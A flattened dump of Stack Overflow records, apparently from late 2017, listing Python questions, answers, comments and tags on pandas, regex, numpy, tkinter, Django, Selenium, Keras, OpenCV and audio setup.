has title: 'List' Object is not callable in Python Pandas
tagged with: pandas
has answer: http://stackoverflow.com/a/46907815
tagged with: python
type: AnsweredQuestion

kivy-language
type: Tag
tags question: http://stackoverflow.com/q/46990210
tags question: http://stackoverflow.com/q/47057525
tags question: http://stackoverflow.com/q/47024722
tag name: kivy-language
tags question: http://stackoverflow.com/q/46984515
tags question: http://stackoverflow.com/q/47027304
tags question: http://stackoverflow.com/q/47018513

http://stackoverflow.com/comment/80954797
comment on: http://stackoverflow.com/q/47004018
type: Comment
score: 0
has text: QT may be the best but tkinter can still display plots using tk.Canvas and matplotlib, if done well with classes for buttons, frames etc it can look modern...ish
type: QuestionComment

http://stackoverflow.com/q/46989043
tagged with: python
has body: How can I detect available syntaxes when running a plugin code? For example when I invoke output_view.set_syntax_file("Packages/ANSIescape/ANSI.tmLanguage") and ANSIescape package is not installed, then I get an error from Sublime that cannot be caught with try: ... except:. I would like to perform set_syntax_file safely, without any error and wish to know if it succeeded or not.
type: AnsweredQuestion
downvote count: 0
score: 1
upvote count: 1
answer count: 1
has answer: http://stackoverflow.com/a/46995483
tagged with: sublimetext3
favorite count: 0
type: Question
has title: SublimeText 3 - detect installed syntaxes
tagged with: sublimetext
accepted answer: http://stackoverflow.com/a/46995483

http://stackoverflow.com/comment/80994392
has text: What do the braces replace? @Jean-FrançoisFabre
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47023649

http://stackoverflow.com/comment/80890058
score: 0
type: Comment
has text: Caleb_McCreary: I have now idea how to fix this
type: AnswerComment
comment on: http://stackoverflow.com/a/46963413

http://stackoverflow.com/q/46953437
upvote count: 2
has title: Python Regex negation forces character to be present
type: AnsweredQuestion
duplicate of: http://stackoverflow.com/q/5717886
has answer: http://stackoverflow.com/a/46953670
accepted answer: http://stackoverflow.com/a/46953670
tagged with: pandas
has comment: http://stackoverflow.com/comment/80859189
score: 1
tagged with: regex-negation
answer count: 1
linked to: http://stackoverflow.com/q/3995034
downvote count: 1
favorite count: 0
type: Question
duplicate of: http://stackoverflow.com/q/3995034
has comment: http://stackoverflow.com/comment/80854200
has comment: http://stackoverflow.com/comment/80854929
linked to: http://stackoverflow.com/q/21300197
has comment: http://stackoverflow.com/comment/80855284
tagged with: python
tagged with: regex
has comment: http://stackoverflow.com/comment/80867806
has comment: http://stackoverflow.com/comment/80853983
has body: I'm trying to create a regex to match numbers 1-12 for the months of year(where the first digit is optional) and 1-31 for days of the month without appending all the numbers from 1 to 12.(Just imagine memory if this was for 1 - 1million) pd.Series(["some text8some text","some text13some text", "05"]).str.extract('(?P&lt;mm&gt;[1][012]|(?:[0])?[1-9])') Works on the 8 properly but on 13 instead of ignoring it matches to 1. So I tried pd.Series(["some text8some text","13some text", "05"]).str.extract('(?P&lt;mm&gt;[1][012]|(?:[0])?[1-9][^0-9])') But it forces me to have a character after 8 otherwise does not match. Could someone please help with this regex negation which is forcing me to have a character after 8 to match? The desired output for this is 0: 8 1: Nan 2: 5 Since there is no whitespace, word boundary will not work thus forcing us to use regex-negation.

http://stackoverflow.com/a/47238176
has body: In my case I did not need "cpdef" or "cdef" for the second definition, the usual "def" did the trick: def myTest(int[:] arr): testFn(&amp;arr[0])
answers question: http://stackoverflow.com/q/47004570
type: Answer
downvote count: 0
upvote count: 1
score: 1

http://stackoverflow.com/q/47010627
has answer: http://stackoverflow.com/a/47011015
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80967793
has body: I want to reshape array of size (3,1) to (3,) with following code: import numpy as np a=np.random.random(size=(4,3,1)) a[1]=a[1].reshape(3,) But getting following error: ValueError: could not broadcast input array from shape (3) into shape (3,1) how to solve it.
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/80968476
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80968683
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/80967934
has title: Broadcast array in python
has comment: http://stackoverflow.com/comment/80968434
tagged with: numpy
upvote count: 0
has comment: http://stackoverflow.com/comment/80967699
downvote count: 1
answer count: 1

http://stackoverflow.com/comment/96340820
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/53782018
has text: I think this solution is not correct as regards repeated items. However, it works ok for lists with non-repeated items.

http://stackoverflow.com/q/46926654
favorite count: 0
has body: I am trying to deploy selenium script using flask on heroku. I added the following buildpacks https://github.com/heroku/heroku-buildpack-xvfb-google-chrome https://github.com/heroku/heroku-buildpack-chromedriver And I also created config variables as: CHROMEDRIVER_PATH = "/my-app/.chromedriver/bin/chromedriver" GOOGLE_CHROME_SHIM = "/my-app/.apt/usr/bin/google-chrome" And below is the Python snippet for referring to chromedriver: chrome_bin = os.environ.get('GOOGLE_CHROME_SHIM', None) opts = ChromeOptions() opts.binary_location = chrome_bin browser = webdriver.Chrome(executable_path="chromedriver", chrome_options=opts) But when i open my app following error occurred: WebDriverException: Message: unknown error: no chrome binary at /tmp/build_4cef63dfa1c952837ceb30f2e894524a/.apt/usr/bin/google-chrome-stable` PLEASE HELP!!!!
type: Question
tagged with: heroku
has answer: http://stackoverflow.com/a/47236657
type: UnansweredQuestion
tagged with: python
score: 2
tagged with: selenium-chromedriver
upvote count: 2
downvote count: 0
answer count: 1
tagged with: selenium
has title: Deploying selenium on heroku (Chrome binary not detected)
has comment: http://stackoverflow.com/comment/80800935
tagged with: google-chrome

http://stackoverflow.com/comment/80839459
comment on: http://stackoverflow.com/a/46946085
has text: I'm using spyder editor, It doesn't gives any exception message , it executes without any warning or error message
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/47028637
accepted answer: http://stackoverflow.com/a/47028682
tagged with: django
tagged with: python
possible better answer: http://stackoverflow.com/a/47029018
favorite count: 0
has title: Django URL Regex Exact Match Only (Basic Regex)
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/47028682
downvote count: 1
has answer: http://stackoverflow.com/a/47029018
tagged with: regex
linked to: http://stackoverflow.com/q/3994493
has comment: http://stackoverflow.com/comment/81004793
type: Question
duplicate of: http://stackoverflow.com/q/3994493
answer count: 2
has body: I am new to django and trying to build my first API. The url structure is as follows but the problem is: when the first part of the URL matches, it calls that one. Ex. If I call 'welcome/example' it matches with welcome and doesn't make it to the actual welcome/example... from django.conf.urls import include, url from django.contrib import admin urlpatterns = [ url(r'^login/', include('shopify_app.urls')), url(r'^', include('home.urls'), name='root_path'), url(r'^admin/', admin.site.urls), url(r'^welcome/', views.welcome), url(r'^welcome/example', views.create_example), #regex not working ]
upvote count: 1

http://stackoverflow.com/a/47063544
accepted answer of: http://stackoverflow.com/q/47017976
answers question: http://stackoverflow.com/q/47017976
type: Answer
score: 0
has body: joblib, by default uses the multiprocessing module in python. According to this SO Answer, when arguments are passed to new Processes they create a fork, which copies the memory space of the current process. This means that myFunction is essentially working on a copy of result and does not modify the original. My suggestion is to have myFunction return the desired data as a list. The call to Process will then return a list of the lists generated by myFunction. From there, it is simple to add them to results. It could look something like this: from joblib import Parallel, delayed import multiprocessing if __name__ == '__main__': cpu_count = multiprocessing.cpu_count() endIndeces = divideIndecesUniformly(myData.shape[0], cpu_count) # make sure myFunction returns the grouped results in a list r = Parallel(n_jobs=cpu_count)(delayed(myFunction)(myData, start_idx=endIndeces[i], end_idx=endIndeces[i+1]-1, result, i) for i in range(cpu_count)) result = dict() for i, data in enumerate(r): # cycles through each resultant chunk, numbered and in the original order result[i] = data
type: AcceptedAnswer

http://stackoverflow.com/comment/80815964
score: 0
has text: I think you will need a server that is able to accept and process the search request that `pip search` performs, sure. That 404 error means that endpoint does not exist for your running web server. Personally, I've used Artifactory as a local PyPi
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46934037

http://stackoverflow.com/q/46958817
type: AnsweredQuestion
tagged with: jsonlines
score: 0
has answer: http://stackoverflow.com/a/46958887
accepted answer: http://stackoverflow.com/a/46958887
has comment: http://stackoverflow.com/comment/80865444
has comment: http://stackoverflow.com/comment/80871344
has body: I have data in Pandas dataframe and I am able to write the dataframe data into JSON file by calling: df.to_json('filepath', orient='records') This writes data into json file as an array of JSON objects. [{"col 1":"a","col 2":"b"},{"col 1":"c","col 2":"d"}] I want data in the json file to be as below i.e. just comma seperated JSON objects without array {"col 1":"a","col 2":"b"},{"col 1":"c","col 2":"d"} Would appreciate any help. I am new to python and not able to find the way. Thank you.
answer count: 1
has comment: http://stackoverflow.com/comment/80865285
has comment: http://stackoverflow.com/comment/80865042
type: Question
has comment: http://stackoverflow.com/comment/80865463
tagged with: http://stackoverflow.com/tag/json
tagged with: python
has title: How to write dataframe data into json file as json non array objects?
has comment: http://stackoverflow.com/comment/80865404

http://stackoverflow.com/comment/80918155
has text: All folders are sharing a single `list_of_files` among themselves
comment on: http://stackoverflow.com/q/46985421
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/a/46922757
type: AcceptedAnswer
downvote count: 0
upvote count: 5
type: Answer
has comment: http://stackoverflow.com/comment/80793528
has body: One way is to use cumcount and then pivot_table: In [11]: df["count"] = df.groupby("label").cumcount() In [12]: df Out[12]: label value count 0 a 0.2 0 1 a 0.1 1 2 a 0.4 2 3 b 0.5 0 4 b 0.2 1 5 b 0.6 2 6 c 0.7 0 7 c 0.9 1 8 c 0.3 2 In [13]: df.pivot_table("value", "count", "label") Out[13]: label a b c count 0 0.2 0.5 0.7 1 0.1 0.2 0.9 2 0.4 0.6 0.3 If you can garauntee the order and number in each group, you could just reshape: In [21]: df["value"].values.reshape((-1, 3)).T Out[21]: array([[ 0.2, 0.5, 0.7], [ 0.1, 0.2, 0.9], [ 0.4, 0.6, 0.3]]) you can make this a DataFrame with: In [22]: pd.DataFrame(df["value"].values.reshape((-1, 3)).T, columns=df.loc[::3, "label"]) Out[22]: label a b c 0 0.2 0.5 0.7 1 0.1 0.2 0.9 2 0.4 0.6 0.3
answers question: http://stackoverflow.com/q/46922660
has comment: http://stackoverflow.com/comment/80794202
score: 5
accepted answer of: http://stackoverflow.com/q/46922660
has comment: http://stackoverflow.com/comment/80795963
has comment: http://stackoverflow.com/comment/80813504

http://stackoverflow.com/comment/80853816
type: QuestionComment
has text: With networkx >= 1.11 you have `nx.to_pandas_dataframe`
comment on: http://stackoverflow.com/q/46925520
score: 0
type: Comment

http://stackoverflow.com/comment/81010700
comment on: http://stackoverflow.com/a/47025701
score: 0
type: Comment
has text: No problem Jugraj, don't forget to mark your question as solved :)
type: AnswerComment

http://stackoverflow.com/q/46985185
possible better answer: http://stackoverflow.com/a/46986187
has comment: http://stackoverflow.com/comment/80921731
downvote count: 0
upvote count: 1
score: 1
accepted answer: http://stackoverflow.com/a/46988280
has answer: http://stackoverflow.com/a/46986187
favorite count: 0
type: Question
has title: Removing Alphanumeric Words, With Some Exceptions in Python 3
has body: I'm attempting to clean up some bodies of text in Python 3 by removing alphanumeric words (words which contain both letters and numbers), but there are a few exceptions I'd like to remain in the text. The following code removes all alphanumeric words from the text: import re string1 = "3n3k game gnma34 xbox360 table" string2 = "the a22b b3kj3 ps4 2ij2aln potato" new_string1 = re.sub(r'\w*\d\w*', '', string1) new_string2 = re.sub(r'\w*\d\w*', '', string2) The above code produces new_string1 which is "game table", and new_string2 which is "the potato". What I need is for new_string1 to be "game xbox360 table" and new_string2 to be "the ps4 potato". I figure I can create an array of exceptions, e.g.: exceptions = ['xbox360', 'ps4'] #there may be many more exceptions than this but am not too sure how to incorporate this list of exceptions into my regular expression (I'm fairly new to the concept). Any insight is greatly appreciated!
has answer: http://stackoverflow.com/a/46986218
tagged with: python
tagged with: regex
has answer: http://stackoverflow.com/a/46988280
type: AnsweredQuestion
answer count: 3

http://stackoverflow.com/q/46980549
linked to: http://stackoverflow.com/q/39748916
tagged with: python
has comment: http://stackoverflow.com/comment/80908477
linked to: http://stackoverflow.com/q/6193498
has comment: http://stackoverflow.com/comment/80909602
has comment: http://stackoverflow.com/comment/80908627
tagged with: list
answer count: 2
downvote count: 4
has body: def get_grades(grades: List[list]) -&gt; int: """Return the name of the student that has the highest grade. If there is a tie for the highest grade, it should return the name that appears first in grades.""" My data set is a list of lists e.g. GRADES = [['Todd', 'Biology', 67, 5], ['Ben', 'Chemistry', '88', 7]] Here, the grade lies at index 2 of each sublist. How do I do this?
has answer: http://stackoverflow.com/a/46980676
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/80908484
type: Question
has comment: http://stackoverflow.com/comment/80908620
has answer: http://stackoverflow.com/a/46980626
has title: Python Nested Lists help please
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80908473
score: -3

http://stackoverflow.com/q/47030896
has comment: http://stackoverflow.com/comment/81008460
downvote count: 0
score: 1
accepted answer: http://stackoverflow.com/a/47031018
has body: I am pretty new to Python, I have a list of lists, which when printed this is the following output, lets call it list1: [['2012-09-01', '25,922'], ['2013-09-01', '41,733'], ['2014-09-01', '37,037'], ['2015-09-01', '39,510'], ['2016-09-01', '53,394']] Then I am converting to a numpy array, just like in this thread List of lists into numpy array and when I do: print(numpy.array(list1)) I get the following output: [['2012-09-01' '25,922'] ['2013-09-01' '41,733'] ['2014-09-01' '37,037'] ['2015-09-01' '39,510'] ['2016-09-01' '53,394']] I was expecting the same output as the previous one, just like in the other thread. What stupid thing am I doing here? When I print both types of the lists I get the following output: &lt;class 'list'&gt; &lt;class 'numpy.ndarray'&gt; So its seems to be doing the right thing. Thank you!
linked to: http://stackoverflow.com/q/10346336
possible better answer: http://stackoverflow.com/a/47031094
type: Question
tagged with: numpy
answer count: 2
upvote count: 1
has comment: http://stackoverflow.com/comment/81008494
has answer: http://stackoverflow.com/a/47031018
tagged with: arrays
has title: list of lists into numpy array - wrong output
tagged with: python
has comment: http://stackoverflow.com/comment/81008673
favorite count: 0
has answer: http://stackoverflow.com/a/47031094
type: AnsweredQuestion
tagged with: list

http://stackoverflow.com/q/47042341
downvote count: 0
has answer: http://stackoverflow.com/a/47042586
accepted answer: http://stackoverflow.com/a/47042586
tagged with: environment-variables
upvote count: 1
score: 1
answer count: 1
favorite count: 0
type: Question
has body: I'm trying to remove all passwords and secrets from applications. To do this, I'm using environment variables. I would like to avoid putting this specific stuff into ~/.bashrc or other built in files. It would be ideal to call a specific script that exports the desired variables. The reason for this is because the environment variables contain passwords and I'm trying to isolate them outside of all code except the environment scripts that set environment variables. To summarize the desired flow: Launch Python app App spawns process that sets new environment variables App pulls values from previously set environment variables App uses those values in further processing contents of testpy.py #!/usr/bin/env python import os import subprocess env_file='/tmp/env_file' db_pass_var='DBPASS' #execute bash script that sets the env vars subprocess.call([".", env_file], shell=True) #try to get the variable set and print it print os.getenv(db_pass, 'fail') contents of /tmp/env_file #!/usr/bin/env bash export DBUSER="myuser" export DBPASS="mypass" I've tried various methods like subprocess.Popen commands I found on other stackoverflow threads but nothing seems to work. Alternatives that I want to avoid: Running the env_file script first, then launching the python code. The goal is to run it all from 1 application. Putting the passwords into a config file. The goal is environment variables. Config files I would like to reserve to pointing to what variable to call, rather than setting the env vars themselves. This is because config files are checked into source control. The only thing I want to leave out of source control is the actual export environment variables themselves which contain all sensitive environment info.
has comment: http://stackoverflow.com/comment/81031802
has title: Launching script to export environment variables from Python
tagged with: python
has comment: http://stackoverflow.com/comment/81032593
type: AnsweredQuestion
tagged with: bash

http://stackoverflow.com/q/47053063
tagged with: tkinter
has title: python3 with tkinter: call widget from a function
tagged with: python
has body: I'm having a problem with this code: from tkinter import * class app: def create(arrSettings): proot = Toplevel() proot.title("Settings") m = Frame(proot).pack() #Some Frames so I can arrange them how I'd like to mcan = Canvas(proot) mcan.pack(fill="both", side="left") x = Frame(proot).pack() xcan = Canvas(proot) xcan.pack(fill="both", expand="yes", side="left") win_0 = Frame(xcan) lbl_0 = Label(win_0, text="Option0").pack() txt_0 = Text(win_0).pack() win_0.pack() win_1 = Frame(xcan) lbl_1 = Label(win_1, text="Option1").pack() txt_1 = Text(win_1).pack() win_1.pack() btn_menu0 = Button(mcan, text="Menu0", command=app.func_btn_menu0).pack() btn_menu1 = Button(mcan, text="Menu1", command=app.func_btn_menu1).pack() def func_btn_menu0(): lbl_0.config(text="foo") # &lt;-- Problem txt_0.insert("end", "bar") # &lt;-- Problem def func_btn_menu1(): pass (I left the code for the design(bg, border, ...) out) This is another window which will be started by the main one. It shows some buttons on the left and some labels and textboxes on the right. Whenever a button on the left has been pushed the text of the labels should be changed. That's the problem: When I push a button I get this error and the text won't be changed: Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.4/tkinter/__init__.py", line 1536, in __call__ return self.func(*args) File "/[...]/program.py", line 27, in colormain lbl_0.config(text="Background") NameError: name 'lbl_0' is not defined I don't really understand why this gives me an error so I'd like to ask you. This code is being started from the main window with the code: program.app.create(arrSettings) #arrSettings is an array in which some colors for the design are Thanks in advance.
has answer: http://stackoverflow.com/a/47053252
type: AnsweredQuestion
score: 0
answer count: 1
tagged with: user-interface
has comment: http://stackoverflow.com/comment/81053586
accepted answer: http://stackoverflow.com/a/47053252
type: Question
tagged with: python-3.x

http://stackoverflow.com/a/46988386
has comment: http://stackoverflow.com/comment/80933039
score: 0
has comment: http://stackoverflow.com/comment/80927833
has comment: http://stackoverflow.com/comment/80932381
has comment: http://stackoverflow.com/comment/80927148
has body: I tried logging in using browser. Apparently the password is "password" not password . Starting and ending quotes is part of password. I think @PRMoureu is wrong in suggesting that url should be of login. Actually url should be http://pythonscraping.com/pages/cookies/welcome.php only. Because actual login functionality is implemented on this page.
answers question: http://stackoverflow.com/q/46987818
type: Answer
has comment: http://stackoverflow.com/comment/80932324

http://stackoverflow.com/comment/80875470
comment on: http://stackoverflow.com/a/46920195
type: Comment
has text: I feel like you must know, what i am trying to do is to take an array from the localStorage and then send it to flask view so i can save it in database using sqlalchemy then when everything goes right a success.html should be returned. That simple!
score: 0
type: AnswerComment

http://stackoverflow.com/q/46939276
has body: I'm trying to log in to a site using the requests module, and can't figure out how the site's login page actually works. Here's the relevant form: Username Password Forgot password? LOGIN I think the name of the fields are both randomly generated (F783713994214KVBZZQ and F7837139942151QISNM), so I parse those out, but I'm not sure what to do with that information. There's no login page url specified that I can see. I've tried constructing a payload of the above strings and correct login info and posting it with no result. When I watch the network activity in chrome's inspector, after I click the login button I can see a post to the site but there's no query string parameters (where I would expect to see the username & password). Does anyone know what else I should be looking at to figure out where the username and password are going and how to access that via requests? Full login page html: https://pastebin.com/vP1s9esZ My code: https://pastebin.com/4jG13WfW The page includes a login.js in the header, but it's only this: $(document).ready(function() { $("#username").focus(); // Centers the div $("#login").position({ of: window, at: "center center" }); }); Thanks in advance for any help!
tagged with: python-requests
type: Question
has title: Complex web site login with Requests
has answer: http://stackoverflow.com/a/46939353
accepted answer: http://stackoverflow.com/a/46939353
tagged with: javascript
tagged with: python
type: AnsweredQuestion
score: 0
answer count: 1
linked to: http://stackoverflow.com/q/23118249
tagged with: authentication

http://stackoverflow.com/comment/81227037
type: Comment
comment on: http://stackoverflow.com/a/47047617
type: AnswerComment
has text: I have used the time.sleep(x) function. Is it different from the implicit wait function you have used?
score: 0

http://stackoverflow.com/q/47050571
tagged with: valueerror
has comment: http://stackoverflow.com/comment/81054881
upvote count: 4
has comment: http://stackoverflow.com/comment/81059531
has title: ValueError: Error when checking target: expected dense_2 to have 4 dimensions, but got array with shape (7942, 1)
tagged with: conv-neural-network
has body: I have been using the following functional API for an image classification task using CNN: def create_model(X_train, X_test): visible = Input(shape=(X_train.shape[0], X_train.shape[1], 1)) conv1 = Conv2D(32, kernel_size=4, activation='relu')(visible) hidden1 = Dense(10, activation='relu')(pool2) output = Dense(1, activation='sigmoid')(hidden1) model = Model(inputs = visible, outputs = output) model.compile(loss='binary_crossentropy', optimizer='rmsprop', metrics=['accuracy']) return model X_tr = np.reshape(X_train, (1,X_train.shape[0], X_train.shape[1], 1)) X_te = np.reshape(X_test, (1,X_test.shape[0], X_test.shape[1], 1)) model = create_model(X_train, X_test) model.fit(X_tr, y_train, validation_split = 0.1, batch_size=10, epochs=10, verbose = 1, callbacks=[EarlyStopping(patience=5,verbose=1)]) where, X_train is a 7942*6400 dimensional list and y_train being a 1-D list with corresponding 7942 labels. The error: ValueError: Error when checking target: expected dense_2 to have 4 dimensions, but got array with shape (7942, 1) What has possibly gone wrong here as I am a newbie to the functional API?
type: UnansweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/81056227
tagged with: keras
downvote count: 1
favorite count: 0
type: Question
score: 3
tagged with: convolution
tagged with: python
has answer: http://stackoverflow.com/a/47056402
has comment: http://stackoverflow.com/comment/81055911

http://stackoverflow.com/q/47054685
has title: HAAR Cascade in Python 3.6 Open
has comment: http://stackoverflow.com/comment/81056855
has comment: http://stackoverflow.com/comment/81094277
answer count: 0
type: UnansweredQuestion
type: Question
has comment: http://stackoverflow.com/comment/81094320
score: 0
tagged with: opencv3.0
has body: I'm trying to build a Facial Recognition Software in python with OpenCV. I'm using HAAR cascade but every time I run the program I get a traceback error. I'm wondering if I messed up by not typing in the correct file location or if I'm just doing something wrong somewhere else in the code. For File location, I've tried detectFace = cv2.CascadeClassifier('Desktop/Fall 17/Intelligent System/Final Project/Facial Recognition/haarcascade_frontalface_default.xml') and detectFace = cv2.CascadeClassifier('haarcascade_frontalface_default.xml') My Code: import cv2 import sys import numpy as np cam = cv2.VideoCapture(0) detectFace = cv2.CascadeClassifier('haarcascade_frontalface_default.xml') Id= input('enter user id') sampleNum=0; while(True): ret, img = cam.read(); gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY) faces = detectFace.detectMultiScale(gray,1,3,5); for(x,y,w,h) in faces: cv2.rectangle(img,(x,y),(x+w,y+h),(255,0,0),2) sampleNum = sampleNum+1; cv2.imwrite("dataSet/User."+Id+"." +str(sampleNum)+".jpg",gray[y:y+h,x:x+w]) cv2.imshow('faces',img); if cv2.waitKey(100) &amp; 0xFF == ord('q'): break elif sampleNum&gt;20: break cam.realease() cv2.destroyAllWindows Here is the error. Traceback (most recent call last): File "C:/Users/claws/Desktop/Fall 17/Intelligent Systems/Final Project/Facial Recognition/dataSet_Creator.py", line 16, in &lt;module&gt; faces = detectFace.detectMultiScale(gray,1,3,5); cv2.error: C:\projects\opencv- python\opencv\modules\objdetect\src\cascadedetect.cpp:1698: error: (-215) !empty() in function cv::CascadeClassifier::detectMultiScale
tagged with: python

http://stackoverflow.com/comment/81010516
type: Comment
type: QuestionComment
has text: We are getting data from IBM DB2 iSeries machine and reading those for Analytics. So, we are excepting it to be a numbers or chars.
score: 0
comment on: http://stackoverflow.com/q/47031652

http://stackoverflow.com/a/47364294
answers question: http://stackoverflow.com/q/46909893
has comment: http://stackoverflow.com/comment/81681510
type: Answer
has body: u can use this python package link= https://github.com/seleniumbase/SeleniumBase This package is very powerful in automation testing. it will auto screenshot when your pytest result is fail.
score: 0

http://stackoverflow.com/q/46982139
type: UnansweredQuestion
tagged with: listbox
has comment: http://stackoverflow.com/comment/80911776
tagged with: python
has body: I have a backend file and a frontend file, and I want it so that for the view function, it queries the database and outputs each row (on a new line) to the Listbox widget. How can I edit my code so that it 1) Outputs to the Listbox widget rather than printing into the console and 2) Outputs each database row on a new row in the Listbox widget? I can't seem to figure it out and I can't find any resources. Thank you Here's my backend code: def connect(): conn=sqlite3.connect('Orders.db') cur=conn.cursor() cur.execute("CREATE TABLE IF NOT EXISTS stuffToPlot(Reference REAL, Date TEXT, Name TEXT, SubTotal REAL, VAT REAL, Total REAL)") conn.commit() conn.close() def view(): conn = sqlite3.connect('Orders.db') cur = conn.cursor() cur.execute("SELECT * FROM stuffToPlot") rows=cur.fetchall() conn.close() print (rows) And here's my frontend code: from tkinter import * from backend import hello from backend import connect from backend import insert from backend import view from backend import search window = Tk() l1=Label(window, text ="Order Reference ID") l1.grid(row=0,column=0) l1=Label(window, text ="Date") l1.grid(row=0,column=2) l1=Label(window, text ="Name") l1.grid(row=1,column=0) l1=Label(window, text ="SubTotal") l1.grid(row=1,column=2) l1=Label(window, text ="VAT") l1.grid(row=2,column=0) l1=Label(window, text ="Total Cost") l1.grid(row=2,column=2) referenceID_text=StringVar() e1=Entry(window,textvariable=referenceID_text) e1.grid(row=0,column=1) date_text=StringVar() e2=Entry(window,textvariable=date_text) e2.grid(row=0,column=3) name_text=StringVar() e3=Entry(window,textvariable=name_text) e3.grid(row=1,column=1) subtotal_text=StringVar() e4=Entry(window,textvariable=subtotal_text) e4.grid(row=1,column=3) vat_text=StringVar() e3=Entry(window,textvariable=vat_text) e3.grid(row=2,column=1) total_text=StringVar() e4=Entry(window,textvariable=total_text) e4.grid(row=2,column=3) list1=Listbox(window, height=6,width=35) list1.grid(row=2,column=0,rowspan=6,columnspan=2) …
has answer: http://stackoverflow.com/a/46982521
score: 0
tagged with: tkinter
tagged with: sqlite
tagged with: user-interface
answer count: 1
type: Question
has title: My Tkinter code for displaying every field from a database isn't displaying in the tkinter widget

pickle
tags question: http://stackoverflow.com/q/47051122
tags question: http://stackoverflow.com/q/46972583
tags question: http://stackoverflow.com/q/46921047
type: Tag
tags question: http://stackoverflow.com/q/47022697
tags question: http://stackoverflow.com/q/46997984
tags question: http://stackoverflow.com/q/46980615
tags question: http://stackoverflow.com/q/47040099
tags question: http://stackoverflow.com/q/47049874
tags question: http://stackoverflow.com/q/46958447
tag name: pickle

http://stackoverflow.com/comment/80885844
type: QuestionComment
has text: It seems hard (impossible?) to use NLTK in Jython. See https://stackoverflow.com/q/45280461/407651, https://stackoverflow.com/q/46163994/407651
comment on: http://stackoverflow.com/q/46968333
score: 0
type: Comment

http://stackoverflow.com/q/47003083
answer count: 1
has body: I am very new to python and started coding with it a few weeks ago. Since now I was able to resolv any issues with researching and reading. But this issue gives me now headaches since several hours and I can't seam to find the correct solution. I created a sample xml (test_file.xml) on my hard drive in the folder where also my read_xml.py file is located. Content of read_xml.py (before) import re with open('test_file.xml') as xml_source: data = xml_source.read() xml_result = re.compile(r'&lt;title&gt;(.+?)&lt;/title&gt;') mo = xml_result.search(data) print(mo.group(1)) gives me back TinkerTry which it should. But if I go further like this Content of read_xml.py (now): import re with open('test_file.xml') as xml_source: data = xml_source.read() xml_result = re.compile(r'&lt;title&gt;(.+?)&lt;/title&gt;\n&lt;link href="(.+?)"/&gt;', re.MULTILINE) mo = xml_result.search(data) print(mo.group(1)) it does not seam to find / match anything anymore...
upvote count: 1
downvote count: 1
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47003845
tagged with: python
tagged with: regex
has answer: http://stackoverflow.com/a/47003845
has title: Issues with python 3.x multiline regex?
tagged with: http://stackoverflow.com/tag/xml
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/1732348
score: 0

http://stackoverflow.com/comment/88453001
type: QuestionComment
has text: Did you ever figure this out? I'm having the same issue 8 months later. I thought being on App Engine would make it easier to use Vision....
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47000735

http://stackoverflow.com/comment/105782241
comment on: http://stackoverflow.com/q/46973571
has text: @pawni are you still interested in an answer to this question? if you are, to start, could you show where the differences are between zeep, suds, and your expected output?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81029973
score: 0
type: Comment
type: AnswerComment
has text: Maybe there are such libraries, but I haven't looked for them. Implementing it in TensorFlow of Pytorch or Theano should be very easy anyways, just a few lines of code. If you're ok with upsampling approach, you can pip install eli5, and use eli5.lime.utils.fit_proba with a Logistic Regression classifier from scikit-learn.
comment on: http://stackoverflow.com/a/47020009

http://stackoverflow.com/q/47021488
has body: I am trying to use pyaudio and pyspeech to record an audio sample and interpret what is said. I then intend to use that to trigger a conversation with an agent but I am having trouble with ALSA not using the on-board microphone. Python program: #!/usr/bin/env python3 # Requires PyAudio and PySpeech import speech_recognition as sr # Record Audio r=sr.Recognizer() with sr.Microphone() as source: print("Say something!") audio = r.listen(source) # Speech recognition using google speech recognition try: #this uses the generic API key which cannot query more than 50x per day print("You said: " + r.recognize_google(audio)) except sr.UnknownValueError: print("Google Speech Recognition could not understand audio") except sr.RequestError as e: print("Could not request results from Google Speech Recognition service; {0}".format(e)) When I run it, I get the errors: ALSA lib pcm_dsnoop.c:606:(snd_pcm_dsnoop_open) unable to open slave ALSA lib pcm_dmix.c:1029:(snd_pcm_dmix_open) unable to open slave ALSA lib pcm.c:2266:(snd_pcm_open_noupdate) Unknown PCM cards.pcm.rear ALSA lib pcm.c:2266:(snd_pcm_open_noupdate) Unknown PCM cards.pcm.center_lfe ALSA lib pcm.c:2266:(snd_pcm_open_noupdate) Unknown PCM cards.pcm.side ALSA lib pcm_dmix.c:1029:(snd_pcm_dmix_open) unable to open slave Say something! While is says "Say something!" it is not actually listening. I have tried the ALSA troubleshooting page: https://wiki.debian.org/ALSA#Troubleshooting and get the following results: $ cat /proc/asound/cards produces: 0 [HDMI ]: HDA-Intel - HDA Intel HDMI HDA Intel HDMI at 0xedc14000 irq 33 1 [PCH ]: HDA-Intel - HDA Intel PCH HDA Intel PCH at 0xedc10000 irq 32 I can add myself as an audio user: $sudo adduser jd audio Adding user `jd' to group `audio' ... Adding user jd to group audio Done. But when I go to edit the /etc/modprobe.d/sound it does not exist: $ls /etc/modprobe.d/ alsa-base.conf blacklist-rare-network.conf blacklist-ath_pci.conf blacklist-watchdog.conf blacklist-bcm43.conf dkms.co…
tagged with: google-speech-api
answer count: 1
tagged with: alsa
type: Question
type: UnansweredQuestion
has title: How do I change the default soundcard in ubuntu 16.04 using pyaudio?
tagged with: ubuntu-16.04
tagged with: python
tagged with: pyaudio
score: 0
has answer: http://stackoverflow.com/a/47399437

http://stackoverflow.com/comment/80827551
type: Comment
comment on: http://stackoverflow.com/q/46940182
score: 1
type: QuestionComment
has text: Because `reader` is a locally scoped variable?

http://stackoverflow.com/comment/80973493
score: 0
